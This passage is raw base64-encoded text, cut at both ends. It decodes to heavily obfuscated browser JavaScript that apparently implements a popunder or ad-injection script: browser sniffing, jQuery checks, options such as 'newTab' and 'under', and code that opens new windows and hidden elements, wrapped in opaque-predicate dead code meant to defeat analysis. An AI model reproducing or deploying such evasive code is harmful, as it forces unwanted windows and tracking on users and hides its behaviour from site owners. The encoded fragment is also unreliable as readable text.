mcoKS5sZW5ndGgsMjYwMTcpIT09YzcpeyhlPXRbSmFdW1FhXSgoVWEtVnQpL2NpKSlbYm9dKCk7ZVtJb10oKTt9fWNhdGNoKHQpe30oZT1BdShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7fSxUOmZ1bmN0aW9uKHQpe3QmJihUdVtFaV09dCk7fSxxOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZSxpPVt5cixUbixFYSxCZSxqcyxabixqdCxrYyx3ZV0sbj0wO248aVtwaV07bisrKWlmKGU9aVtuXVtqY10odnUpKXtyZXR1cm4gdD9VYyhlWzFdLDEwKTplWzFdW1pdKFFzLEdyK1R0K0dyKTt9cmV0dXJuIG11O30sTDpmdW5jdGlvbih0LGUpe3c1Llk0KDcpO3JldHVybiB3NS51NChZZSxlcixHcix0LGllLHlzLEdyLGUsR3IsVmUsVnQsR3IpO30sXzpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUTAsZTAsajA7UTA9LTE2NDA5MDY2NDA7ZTA9MzYxNTQ4MTI4O2owPTI7Zm9yKHZhciB0MD0xO3c1LmQxKHQwLnRvU3RyaW5nKCksdDAudG9TdHJpbmcoKS5sZW5ndGgsMzk3NjcpIT09UTA7dDArKyl7aT15O3c1Llk0KDQpO249dFtDcl0odzUudTQoR3IsVHQsR3IpKTtmb3IoZT0wO2U8bltwaV07ZSsrKXtpPWlbbltlXV07fXJldHVybiBpO2owKz0yO31pZih3NS5MMShqMC50b1N0cmluZygpLGowLnRvU3RyaW5nKCkubGVuZ3RoLDQ3NjE4KSE9PWUwKXtpPXk7dzUuWTQoNik7bj10W0NyXSh3NS51NChUdCxHcixHcikpO2ZvcihlPTQ7ZTw9bltwaV07ZS0tKXtpPWlbbltlXV07fXJldHVybiBpO319LFM6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbyxzMCxEMCxXMCxVMCx4MCx6MDtvPXkualF1ZXJ5fHxudWxsO2lmKHQmJnRbQW5dKXtyZXR1cm4gZ3U7fWlmKCFvKXtyZXR1cm4geXU7fXRyeXtzMD0tMTYxNTA0NTA7RDA9LTE5OTUwMzAzNTQ7VzA9Mjtmb3IodmFyIGMwPTE7dzUuZDEoYzAudG9TdHJpbmcoKSxjMC50b1N0cmluZygpLmxlbmd0aCw5Nzc5KSE9PXMwO2MwKyspe2lmKChlPShvKHQpW2llXShHYSkmJm8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9VzArPTI7fWlmKHc1LkwxKFcwLnRvU3RyaW5nKCksVzAudG9TdHJpbmcoKS5sZW5ndGgsMjI1MTYpIT09RDApe2lmKChlPShvKHQpW2llXShHYSl8fG8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9fX1jYXRjaCh0KXt9dHJ5e1UwPS0xMjgxMDM4MTgyO3gwPS01MjI2MTY2MzI7ejA9Mjtmb3IodmFyIGkwPTE7dzUuTDEoaTAudG9TdHJpbmcoKSxpMC50b1N0cmluZygpLmxlbmd0aCwzMjg1OSkhPT1VMDtpMCsrKXtmb3IoZT1vKHJpW1FyXSlbaWVdKEdhKVtnc10saT00O2k+ZVtwaV07aS0tKWZvcihyPW8oZVtpXVtvZV0pLG49NztuPj1yW3BpXTtuLS0paWYocltuXT09dCl7cmV0dXJuIGd1O316MCs9Mjt9aWYodzUuTDEoejAudG9TdHJpbmcoKSx6MC50b1N0cmluZygpLmxlbmd0aCw4ODE3MikhPT14MCl7Zm9yKGU9byhyaVtRcl0pW2llXShHYSlbZ3NdLGk9NDtpPmVbcGldO2ktLSlmb3Iocj1vKGVbaV1bb2VdKSxuPTc7bj49cltwaV07bi0tKWlmKHJbbl09PXQpe3JldHVybiBndTt9fWZvcihlPW8ocmlbUXJdKVtpZV0oR2EpW2dzXSxpPTA7aTxlW3BpXTtpKyspZm9yKHI9byhlW2ldW29lXSksbj0wO248cltwaV07bisrKWlmKHJbbl09PT10KXtyZXR1cm4gZ3U7fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sQzpmdW5jdGlvbih0LGUsaSl7dmFyIG4scixvO289WmMuTyhvNSk7cmV0dXJuIG49b1t0bytHcit5YV1bbXJdW1VzK0dyK0NuXShkZSksbltPXT1yYStQZStDdCxuW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoSmErVHQrX3QrWWUrR3IrZXQrR3IrWWUrSmErVHQrcCtZZStHcitldCtHcitZZStKYStUdCt1cytHcitDbitZZStHcitldCtHcitZZStkK2VyK0dyKSsoSmErVHQrJG4rWWUrR3IrZXQrR3IrWWUrWnMrUit6K1ZlK0dyK1llK3NvK1ZlK0dyK1llK0NlK1ArR3IrWWUrR3Ird24rR3IpKyh1YStZZStCcytHcitYbytZZStHcitldCtHcitZZStKYStUdCtRYStSK3orVmUrR3IrWWUrc28rVmUrR3IrWWUrQ2UrUCtHcitlcitHcikrKFdyK1llK0dyK3duK0JzK0dyK1hvK1R0K1dvK1llK0dyK2V0K0dyK1llK2QrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSsoTnIrWWUrQnMrR3IrWG8rZXIrR3IpKyhHcitEcitHcitlcitHciksb1t0bytHcit5YV1bbXJdW1FyXVtJdCtHcitXZV0obikscj1vW3RvK0dyK3lhXS5ta3AodCxlLGkpLFpjLlAobykscjt9LEI6ZnVuY3Rpb24odCxlLG4pe3ZhciByLG8scztyPTA7bz1ufHwxMDtzPXQ7dHJ5e2Zvcig7cyYmcisrPG87KXtpZih0eXBlb2YgZT09PVRjJiYoc1tTYytHcittY109PT1lfHxaYy5JKHMsZSkpfHx0eXBlb2YgZT09PWFyJiZzPT09ZSl7cmV0dXJuIHM7fXc1Llk0KDQpO3M9c1t3NS51NChfdCxHcixpKV07fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sRjpmdW5jdGlvbih0KXt2YXIgZTtlPVJ0W1RlXTtyZXR1cm4gdHlwZW9mIHQhPT1nZSYmKGU9KGN0W2pjXSh0KXx8W0dyLEdyXSlbMV0pLGVbWl0oUGMsR3IpO30seDpmdW5jdGlvbih0KXtyZXR1cm4geWlbWHRdW1hzK0dyK2hdW0NpXSh0KT09PUdyK0pvK2FyK1llK2JuK3R0K0dyO30sazpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUjAsUDAsSjA7aT1bXTtuPVpjLnYoKTt0cnl7UjA9LTE2Mjc2MTY5Mzc7UDA9LTIwMDI5NzgxNzY7SjA9Mjtmb3IodmFyIEIwPTE7dzUuTDEoQjAudG9TdHJpbmcoKSxCMC50b1N0cmluZygpLmxlbmd0aCw3NjkxMCkhPT1SMDtCMCsrKXtmb3IoZSBpbiBuKXt+dFtlXSE9Z2V8fGlbTXJdKGUvKChHci1ldCklR3IpLXRbZV0pO31KMCs9Mjt9aWYodzUuTDEoSjAudG9TdHJpbmcoKSxKMC50b1N0cmluZygpLmxlbmd0aCw4NjExMCkhPT1QMCl7Zm9yKGUgaW4gbil7fnRbZV0hPWdlfHxpW01yXShlLygoR3ItZXQpJUdyKS10W2VdKTt9fWZvcihlIGluIG4pe3R5cGVvZiB0W2VdIT09Z2UmJmlbTXJdKGUrKEdyK2V0K0dyKSt0W2VdKTt9fWNhdGNoKHQpe0tjLmUodCk7fXc1Llk0KDQpO3JldHVybiBpW05pXSh3NS5jNChHcixWZSxHcikpO30sUjpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy5CKHQsT24pO30seTpmdW5jdGlvbigpe2Zvcih2YXIgdCxlPXt9LGk9MDtpPGFyZ3VtZW50c1twaV07aSsrKWZvcih0IGluIGFyZ3VtZW50c1tpXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0oYXJndW1lbnRzW2ldLHQpJiYoZVt0XT1hcmd1bWVudHNbaV1bdF0pO31yZXR1cm4gZTt9LFY6ZnVuY3Rpb24odCxlKXt2YXIgSjEsWDEsQjE7SjE9NDUyODczNzI5O1gxPTEyNzMxMDM4NTg7QjE9Mjtmb3IodmFyIE4xPTE7dzUuZDEoTjEudG9TdHJpbmcoKSxOMS50b1N0cmluZygpLmxlbmd0aCw1NTI1MSkhPT1KMTtOMSsrKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpKihlLXQpKSt0O0IxKz0yO31pZih3NS5kMShCMS50b1N0cmluZygpLEIxLnRvU3RyaW5nKCkubGVuZ3RoLDI4MzUxKSE9PVgxKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpJShlL3QpKSV0O319LFE6ZnVuY3Rpb24odCl7dmFyIGUsaSxuO3c1Llk0KDgpO2U9dzUuYzQodHlwZW9mIHQsYXIpO2k9dDt3NS5vNCg0KTtuPXJpW1VzK0dyK0NhXSh3NS51NChTbixHcix1bykpO25bTHMrR3IrU24rR3IrQ2FdKGdzLGd1LGd1LHksMCwwLDAsMCwwLGd1LHl1LHl1LGd1LDAsbXUpO2V8fChpPVpjLnooVSx7aHJlZjp0fHxpZStWdCtyYStQZStqbytWZStHcit1aStkZSt1citKYStUdCtJbytSK0dyK1ArR3IrZXIrR3IrdWkrR3IrUGUrZGUrdXIrR3J9KSxyaVtRcl1bSXQrR3IrV2VdKGkpKTtpW2duK0dyK0NhXShuKTtlfHxaYy5QKGkpO30sejpmdW5jdGlvbih0LGUsaSl7dmFyIG4scjtyPXJpW1VzK0dyK0NuXSh0KTtmb3IobiBpbiBlKXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShlLG4pJiZyW2xpK0dyK0dpXShuLGVbbl0pO31yZXR1cm4gaSYmKHJbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPWkpLHI7fSxZOmZ1bmN0aW9uKCl7dHJ5e3c1Lm80KDQpO3JldHVybiEhT3VbdzUuYzQoZW4sUGUsTWMpXVt3NS51NCgkaSxHcixXcyldO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sbDpmdW5jdGlvbih0KXt2YXIgZSxpLFk3LGY3LHM3O2U9WmMuXyh0KTt3NS5ZNCg0KTtpPXRbWl0oQWEsdzUudTQoR3Isem8scSkpO3RyeXtZNz0tMTYzMTA2MDI3MDtmNz0xOTgxNTM2MDYxO3M3PTI7Zm9yKHZhciBXNz0xO3c1LkwxKFc3LnRvU3RyaW5nKCksVzcudG9TdHJpbmcoKS5sZW5ndGgsMTYwMikhPT1ZNztXNysrKXtyZXR1cm4rbmV3IFVyKChacy9ZZS1HcikvIGkveHIsUnMpW2lyXShlW1hzJUdyL2hdKCkpO3M3Kz0yO31pZih3NS5MMShzNy50b1N0cmluZygpLHM3LnRvU3RyaW5nKCkubGVuZ3RoLDExNjM3KSE9PWY3KXtyZXR1cm4hbmV3IFVyKFpzK1llK0dyK2kreHIsUnMpW2lyXShlW1hzK0dyK2hdKCkpO319Y2F0Y2godCl7cmV0dXJuIHRbWHMrR3IraF0oKVtMK0dyK1dhXShrbytZZStycytZZStVK1llK1pzKT4tMT9ndTpYYy5kP2d1Onl1O319LHY6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbzt3NS5vNCg0KTtlPXlbdzUuYzQoUGEsR3IsZyldO3c1Llk0KDQpO2k9eVt3NS5jNChQYSxHcix3YyldO249eVtPaStHcitVZV18fHlbT2krR3IrV25dfHwwO3I9eVtPaStHcit4b118fHlbT2krR3IrQ2NdfHwwO289e307cmV0dXJuIG9bb2NdPWUsb1tLYV09aSxvW0hpXT1uLG9bcF09cixvW29yXT0wLG9bRWldPTEsb1tTcl09MSxvW09yXT0xLG8ucmVzaXphYmxlPTEsb1tNZV09MSxYYy5iJiYob1tLYV0rPVhjLm0/NDY6NTIpLFhjLmcmJihvW29jXS09NSxvW0thXS09NCksdHlwZW9mIHQ9PT1hciYmKG89WmMueShvLHQpKSxvO30sTzpmdW5jdGlvbih0KXt2YXIgZTtlPXJpW1VzK0dyK0NuXShjbik7cmV0dXJuIGVbeGVdW3h0XT1YaSx0JiZyaVtRcl1bSXQrR3IrV2VdKGUpLGU7fSxEOmZ1bmN0aW9uKHQpe3JldHVybiB0W1NjK0dyK21jXT09PUZjK0dyK1ZyK0dyK3hjK0dyK3hjK0dyK2ZjK0dyK2d0fHx0W1NjK0dyK21jXT09PXZhK0dyK2d0K0dyK210K0dyK1ZyK0dyK3hjJiZVbltpcl0odFthYStHcitHaV0oTykpfHx0aGlzLkIodCxGYytHcitWcitHcit4YytHcit4YytHcitmYytHcitndCkhPT15dTt9LFA6ZnVuY3Rpb24odCl7dCYmdFtfdCtHcitpXSYmdFtfdCtHcitpXVt4bitHcitXZV0odCk7fSxJOmZ1bmN0aW9uKHQsZSl7dmFyIG4scixvO2lmKHR5cGVvZiBlIT09VGMpe3JldHVybiB5dTt9aWYodHlwZW9mIHJpW2VlK0dyK3Z0K0dyK21dPT09WnMpdHJ5e3I9dFtfdCtHcitpXVtlZStHcit2dCtHcittXShlKXx8eS5qUXVlcnkoZSk7fWNhdGNoKHQpe31lbHNlIGlmKFpjLkEoKSl0cnl7cj15LmpRdWVyeShlKTt9Y2F0Y2godCl7fWlmKHIpZm9yKG89MDtvPHJbcGldO28rKylpZihyW29dPT09dCl7cmV0dXJuIGd1O31zd2l0Y2goZVswXSl7Y2FzZSBHcitUdCtHcjpuPVtsbyxlW2ZzXSgxKV07YnJlYWs7Y2FzZSBHcitzZStHcjpuPVtWYSxlW2ZzXSgxKV07fXJldHVybiBuP3RoaXMuVyh0LG5bMF0sblsxXSk6eXU7fSxmOmZ1bmN0aW9uKHQsZSl7dHJ5e3JldHVybiEoIXRba2ldW2VdfHwhdFtraV1bZV1bWW5dKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LE46ZnVuY3Rpb24odCl7dmFyIGU7ZT10aGlzLlIodCk7cmV0dXJuIGUmJmVbdW5dJiYheHNbaXJdKGVbdW5dKT9lW3VuXTp5dTt9LEo6ZnVuY3Rpb24odCxlLGksbil7Zm9yKHZhciByLG8scyxhPXRbWHMrR3IraF0oKVtDcl0obnx8R3IrVHQrR3IpLGM9ZVtYcytHcitoXSgpW0NyXShufHxHcitUdCtHciksdT0wLGY9ZHJbQm9dKGFbcGldLGNbcGldKTt1PGYmJihyPVVjKGFbdV18fDAsMTApLG89VWMoY1t1XXx8MCwxMCkscWMocikmJihyPTApLHFjKG8pJiYobz0wKSxzPXI+bz8xOi0xLHI9PT1vKTt1Kyspe3M9MDt9c3dpdGNoKGkpe2Nhc2UgR3IrdXIrR3I6dzUubzQoOCk7cmV0dXJuIHc1LnU0KDEscyk7Y2FzZSBHcit1citHcitldCtHcjp3NS5ZNCg5KTtyZXR1cm4gdzUuYzQocywxKTtjYXNlIEdyK3VpK0dyOnc1Lm80KDEwKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK3VpK0dyK2V0K0dyOnc1Llk0KDExKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK2V0K0dyK2V0K0dyOmNhc2UgR3IrZXQrR3IrZXQrR3IrZXQrR3I6ZGVmYXVsdDp3NS5ZNCg4KTtyZXR1cm4gdzUudTQoMCxzKTt9fSwkOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZT1wZVtDcl0oR3IpLGk9ZVtwaV0sbj0wLHI9R3I7bjx0O24rKyl7cis9ZVtkcltBY10oZHJbTW5dKCkqaSldO31yZXR1cm4gcjt9LGg6ZnVuY3Rpb24odCxlKXt0cnl7cmV0dXJuIHRbYWErR3IrR2ldKGUpO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sSDpmdW5jdGlvbih0LGUsaSl7dmFyIG47dzUubzQoMik7bj13NS5jNChoaSx0KTtyZXR1cm4gdHlwZW9mIHlbbl0hPT1nZSYmcm8oeVtuXSkseVtuXT1pbyhlLGkpO30sdzpmdW5jdGlvbigpe3JldHVybiBQdTt9LFU6ZnVuY3Rpb24odCl7cmV0dXJuIHRbU2MrR3IrbWNdPT09dmErR3IrZ3QrR3IrbXQrR3IrVnIrR3IreGMmJm5lW2lyXSh0W2FhK0dyK0dpXShPKSl8fHRbU2MrR3IrbWNdPT09cGErR3IrT24rR3IrRmMrR3IrUHMrR3IrcGE7fX07aXU9e3R0OmZ1bmN0aW9uKHQsZSl7dmFyIGkscTUsbTUsQTU7dHJ5e3E1PS0xNDE1MjczNDIzO201PS0zMzc1MDc5MjY7QTU9Mjtmb3IodmFyIEs1PTE7dzUuZDEoSzUudG9TdHJpbmcoKSxLNS50b1N0cmluZygpLmxlbmd0aCwzNzU1NSkhPT1xNTtLNSsrKXtyZXR1cm4gZXx8KGk9cmlbKHdyLUdyKSVqbipHcipMY10odFtIYyVHci9VZV0sdFtIYy9Hci14b10pKT9pOnRbVGldJiZ0W1hzLUdyLUNuXSYmdFsoWHItR3IpJUNuXTtBNSs9Mjt9aWYodzUuTDEoQTUudG9TdHJpbmcoKSxBNS50b1N0cmluZygpLmxlbmd0aCw3MjUzNikhPT1tNSl7cmV0dXJuIGUmJihpPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXSx0W0hjK0dyK3hvXSkpP2k6dFtUaV18fHRbWHMrR3IrQ25dfHx0W1hyK0dyK0NuXTt9fWNhdGNoKHQpe3JldHVybiB5dTt9fSxYOmZ1bmN0aW9uKHQsZSxpLG4pe3JldHVybiB0eXBlb2YgdFtIbitHcitDYStHcitFbl09PT1acz90W0huK0dyK0NhK0dyK0VuXShlLGksbnx8e30pOnRbRmUrR3IrQ2FdKE5vK2UsaSk7fSxLOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByO3I9ZnVuY3Rpb24oKXtpdS5aKHQsZSxyLG4pO2lbQ2ldKCk7fTtpdS5YKHQsZSxyLG4pO30sWjpmdW5jdGlvbih0LGUsaSxuKXtyZXR1cm4gdHlwZW9mIHRbeG4rR3IrQ2ErR3IrRW5dPT09WnM/dFt4bitHcitDYStHcitFbl0oZSxpLG58fHt9KTp0W0tpK0dyK0NhXShObytlLGkpO319OyEoWGM9e2l0OmZhW2lyXSh2dSksbnQ6c3RbaXJdKHZ1KSxtOmxlW2lyXSh2dSksZXQ6YWNbaXJdKHZ1KSxydDpTb1tpcl0odnUpLG90OnNpW2lyXSh2dSl8fEpyW2lyXSh2dSl8fHVlW2lyXSh2dVtmc10oMCw0KSksc3Q6dm9baXJdKHZ1KSxnOkFyW2lyXSh2dSkmJiFfYVtpcl0odnUpLGI6bHJbaXJdKHZ1KSYmIW1hW2lyXSh2dSksYXQ6bWVbaXJdKHZ1KSYmIWdyW2lyXSh2dSksY3Q6eFtpcl0odnUpLGQ6Rltpcl0odnUpLHV0OnlvW2lyXSh2dSksX3Q6bXUscHQ6WmMucShndSl8fG11LGx0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuX3QhPT1tdT90aGlzLl90OnRoaXMuX3Q9UWMuZHQoKSE9PXl1O30sSjpmdW5jdGlvbih0LGUpe3JldHVybiBaYy5KKFhjLmZ0LGUsdCk7fSxodDptb1tpcl0odnUpJiYhenJbaXJdKHZ1KSxmdDpaYy5xKHl1KXx8bXV9KS5ldHx8WGMuaHR8fFhjLmR8fFhjLmJ8fChYYy51dD1vNSk7KFljPWZ1bmN0aW9uKHQsZSxpKXt2YXIgbjtuPWl8fHt9O25bel09ZTt0aGlzLnZ0KG4pO3RoaXMubXQuYnR8fCh0aGlzLm10LmJ0PXJ1K3QpO3RoaXMuZ3QoKTt9KVtYdF09e2t0OntUdDpndSxDdDptdSxqdDp5dSxFdDpHcitQZStHcixGdDprdSxMdDpndSxBdDp5dSxPdDpndSx4dDptdSxQdDpudWxsLGJ0Om11LHd0Om11LFN0Omt1fSxtdDp7fSx5dDpudWxsLHp0OlpjLnYoKSxCdDpaYy5wKFtbT3IsMF1dKSxJdDpaYy5wKFtbTWUsMV1dKSxNdDpaYy5wKFtbU3IsMV1dKSxXdDpaYy5wKFtbRWksMF0sW1NyLDBdXSksRHQ6WmMucChbW01lLDBdXSksVXQ6WmMucChbW1p0LDBdXSksUnQ6WmMucChbW0VpLDBdXSksc2V0T3B0aW9uczpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy52dCh0KTt9LGd0OmZ1bmN0aW9uKCl7dmFyIHQsZSxpLG47dD1mdW5jdGlvbih0LGUpe3ZhciBpLG47bj17fTtuW3B1XT1beXUsZ3VdO25bX3VdPVt5dSx5dV07bltsdV09W2d1LGd1XTtuW2R1XT1bZ3UseXVdO2ZvcihpIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixpKSYmbltpXVswXT09PXQmJm5baV1bMV09PT1lKXtyZXR1cm4gaTt9cmV0dXJuIF91O307ZT1YYy5sdCgpO2k9dChHYy5tdC4kdC5uZXdUYWIsR2MubXQuJHQudW5kZXIpO249dCh0aGlzLm10LkF0LHRoaXMubXQuVHQpO2V8fG49PT1wdSYmKG49aSk9PT1wdSYmKG49bHUpO1hjLm90JiYobj09PV91JiYobj1kdSksbj09PXB1JiYobj1sdSkpO3RoaXMueXQ9bjt9LEh0OmZ1bmN0aW9uKCl7dmFyIGswLG4wLEYwO2lmKHR5cGVvZiB0aGlzLm10Lnh0PT09WnMpdHJ5e3JldHVybiB0aGlzLm10Lnh0W0NpXSh0aGlzLHRoaXMubXQpW1hzK0dyK2hdKCk7fWNhdGNoKHQpe3JldHVybiBLYy5lKHQpLHl1O31rMD0tMTAwMjA0NzAxMztuMD0tMTY1MTM4NjMwNztGMD0yO2Zvcih2YXIgTTA9MTt3NS5MMShNMC50b1N0cmluZygpLE0wLnRvU3RyaW5nKCkubGVuZ3RoLDY4NDExKSE9PWswO00wKyspe3JldHVybiB0aGlzLm10Lnh0O0YwKz0yO31pZih3NS5kMShGMC50b1N0cmluZygpLEYwLnRvU3RyaW5nKCkubGVuZ3RoLDkwOTM5KSE9PW4wKXtyZXR1cm4gdGhpcy5tdC54dDt9fSxMdDpmdW5jdGlvbigpe3ZhciB0LGUsRzcsQzcsazcsVjAsdTAseTA7dD10aGlzLm10O2U9dC5PdCE9PU5zJiZ0Lk90IT09TmV8fHQuT3Q9PT1OcyYmWGMub3R8fHQuT3Q9PT1OZSYmIVhjLm90O3RyeXtHNz0tMTkzODMwODU3MjtDNz0tMTE3NzY0NDk2NDtrNz0yO2Zvcih2YXIgRjc9MTt3NS5kMShGNy50b1N0cmluZygpLEY3LnRvU3RyaW5nKCkubGVuZ3RoLDg5NDI0KSE9PUc3O0Y3Kyspe3R5cGVvZiB0Lkx0PT09WnM/ZT1lJiZ0Lkx0W0NpXSh0aGlzLGUsdGhpcy5OdCgpKSE9PXl1OnR5cGVvZiB0Lkx0PT09YW4mJihlPWUmJnQuTHQpO2s3Kz0yO31pZih3NS5MMShrNy50b1N0cmluZygpLGs3LnRvU3RyaW5nKCkubGVuZ3RoLDUzNDE4KSE9PUM3KXstdC5MdCE9PVpzP2U9ZXx8dC5MdFtDaV0odGhpcyxlLHRoaXMuTnQoKSk9PT15dTohdC5MdD09YW58fChlPWV8fHQuTHQpO319Y2F0Y2godCl7S2MuZSh0KTt9VjA9Njg3MDAyMDA4O3UwPS0yOTc1OTkyODc7eTA9Mjtmb3IodmFyIHYwPTE7dzUuTDEodjAudG9TdHJpbmcoKSx2MC50b1N0cmluZygpLmxlbmd0aCw2NDU0MSkhPT1WMDt2MCsrKXtyZXR1cm4gR2MuSnQoKT9lfHwtdGhpcy5WdDplfHwrdHUuYyh0LmJ0KTt5MCs9Mjt9aWYodzUuTDEoeTAudG9TdHJpbmcoKSx5MC50b1N0cmluZygpLmxlbmd0aCwyOTMyNSkhPT11MCl7cmV0dXJuIEdjLkp0KCk/ZXx8LXRoaXMuVnQ6ZXx8K3R1LmModC5idCk7fXJldHVybiBHYy5KdCgpP2UmJiF0aGlzLlZ0OmUmJiF0dS5jKHQuYnQpO30sdnQ6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHI7dGhpcy5tdD1aYy55KHRoaXMuenQsdGhpcy5rdCx0aGlzLm10LHR8fHt9KTtmb3IoaSBpbiB0aGlzLm10KWlmKHlpW1h0XVtCYStHcitsdCtHcitvb11bQ2ldKHRoaXMubXQsaSkpc3dpdGNoKG49dGhpcy5tdFtpXSxpKXtjYXNlIHNvOnRoaXMubXQud3Q9bjticmVhaztjYXNlIHo6dGhpcy5tdC54dD1uO2JyZWFrO2Nhc2UgTGU6dGhpcy5tdC5PdD0obitHcilbWHMrR3IrdHMrR3IrbmNdKCk7YnJlYWs7Y2FzZSBOdCtHcittYzp0aGlzLm10LmJ0PW47YnJlYWs7Y2FzZSBOdCtHcitUOnRoaXMubXQuQ3Q9bjticmVhaztjYXNlIE50K0dyK2VhOnRoaXMubXQuRXQ9bjticmVhaztjYXNlIE50K0dyKyRzOnRoaXMubXQuUHQ9bjticmVhaztjYXNlIEVlOnRoaXMubXQuVHQ9bjticmVhaztjYXNlIEErR3IrTG86dGhpcy5tdC5BdD1uO2JyZWFrO2Nhc2UgcHQrR3IramU6dGhpcy5tdC5GdD1uO2JyZWFrO2Nhc2UgamErR3IramU6dGhpcy5tdC5TdD1uO2JyZWFrO2Nhc2UgSWMrR3IrY3I6dGhpcy5tdC5qdD1uO2JyZWFrO2Nhc2UgdGUrR3Irc3M6dGhpcy5tdC5MdD1uO31pZighWGMub3QmJiF0aGlzLm10LkF0KWZvcihyPVtbWGMuZyYmMTE9PT1YYy5wdCx0aGlzLlV0XSxbWGMuYiYmWGMucHQ8NDEsdGhpcy5JdF0sW1hjLmIsdGhpcy5CdF0sW1hjLmQmJlhjLnB0PDQ3LHRoaXMuTXRdLFtYYy51dCx0aGlzLkR0XSxbWGMuY3QsdGhpcy5SdF0sW1hjLmImJlhjLnB0Pj01OSx0aGlzLld0XSxbWGMudXQmJlhjLnB0Pj00Nix0aGlzLld0XV0sZT0wO2U8cltwaV07ZSsrKWlmKHJbZV1bMF0pZm9yKGkgaW4gcltlXVsxXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0ocltlXVsxXSxpKSYmKHRoaXMubXRbaV09cltlXVsxXVtpXSk7fX0sZ2V0T3B0aW9uczpmdW5jdGlvbigpe3JldHVybiB0aGlzLk50KCk7fSxOdDpmdW5jdGlvbigpe3ZhciB0LGU7ZT17fTtmb3IodCBpbiB0aGlzLm10KXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXSh0aGlzLm10LHQpJiZ0W3BpXT49MyYmKGVbdF09dGhpcy5tdFt0XSk7fXJldHVybiBlO30scXQ6ZnVuY3Rpb24oKXtHYy5KdCgpP3RoaXMuVnQ9Z3U6dHUuYSh0aGlzLm10LmJ0LDEsdGhpcy5tdC5DdCx0aGlzLm10LkV0LHRoaXMubXQuUHQpO319OyhudT1mdW5jdGlvbih0KXt2YXIgZTtlPXRoaXM7dGhpcy5RdD10O3RoaXMuR3Q9dGhpcy5ZdCgpO3RoaXMuS3Q9dGhpcy5adCgpO2l1LlgodGhpcy5HdCxncyxmdW5jdGlvbigpe0dzKGUuS3QpO1pjLlAoZS5HdCk7fSk7fSlbWHRdPXtZdDpmdW5jdGlvbigpe3ZhciB0LEs3LHI3LFE3O0s3PS0xODIwMzgxMDU7cjc9MTk5MDM1MjYxMTtRNz0yO2Zvcih2YXIgajc9MTt3NS5kMShqNy50b1N0cmluZygpLGo3LnRvU3RyaW5nKCkubGVuZ3RoLDg2ODQwKSE9PUs3O2o3Kyspe3Q9WmMueihoYyx7Y2xhc3M6ZnV9LEdyKTtyZXR1cm4gdGhpcy5RdFtTYytHcittY11bWHMrR3IrdHMrR3IrbmNdKCk9PT1Rcj9yaVtRcl1bSXQrR3IrV2VdKHQpOnRoaXMuUXRbX3QrR3IraV1bTmMrR3IrT3NdKHQsdGhpcy5RdFtWcytHcitrc10pLHQ7UTcrPTI7fWlmKHc1LkwxKFE3LnRvU3RyaW5nKCksUTcudG9TdHJpbmcoKS5sZW5ndGgsMzM0MykhPT1yNyl7dD1aYy56KGhjLHtjbGFzczpmdX0sR3IpO3JldHVybiB0aGlzLlF0W1NjKkdyL21jXVtYcypHci10cy1Hci1uY10oKT09UXI/cmlbUXJdW0l0L0dyL1dlXSh0KTp0aGlzLlF0W190L0dyJWldWyhOYy1HcikqT3NdKHQsdGhpcy5RdFsoVnMtR3IpJWtzXSksdDt9fSxadDpmdW5jdGlvbigpe3ZhciB0O3Q9dGhpcztyZXR1cm4gQ28oZnVuY3Rpb24oKXt2YXIgZSxpO2k9VWModC5RdFt4ZV1bc24rR3IrenNdLDEwKTt0LlF0W1NjK0dyK21jXVtYcytHcit0cytHcituY10oKT09PVFyJiYoaT05ZTkpOyhlPV9uK1Z0K2dvK2VyK0RhK1Z0K04rZXIrbG4rVnQraytlcitHcisoS2ErVnQrR3IpK3QuUXRbZnIrR3Ird2NdKyhobytlcitHcikrKG9jK1Z0K0dyKSt0LlF0W2ZyK0dyK2ddKyhobytlcitHcikrKEhpK1Z0K0dyKSt0LlF0W2ZyK0dyK1duXSsoaG8rZXIrR3IpKyhwK1Z0K0dyKSt0LlF0W2ZyK0dyK0NjXSsoaG8rZXIrR3IpKyhzbit3aStMK1Z0K0dyKSsocWMoaSk/MjppKzEpKSE9PXQuR3RbYWErR3IrR2ldKHhlKSYmdC5HdFtsaStHcitHaV0oeGUsZSk7fSwxNTApO319O251Llh0PWZ1bmN0aW9uKHQpe3ZhciBlO3c1Llk0KDEyKTtlPXc1LmM0KHJ1LExpLHdpLHdpLEdyLGllLEdyKTt0W2FhK0dyK0dpXShlKXx8dFthYStHcitHaV0obG8pPT09ZnV8fCh0W2xpK0dyK0dpXShlLDEpLG5ldyBudSh0KSk7fTsoUWM9e2R0OmZ1bmN0aW9uKCl7dmFyIHQsZTtlPXRoaXMuZWUoKTtmb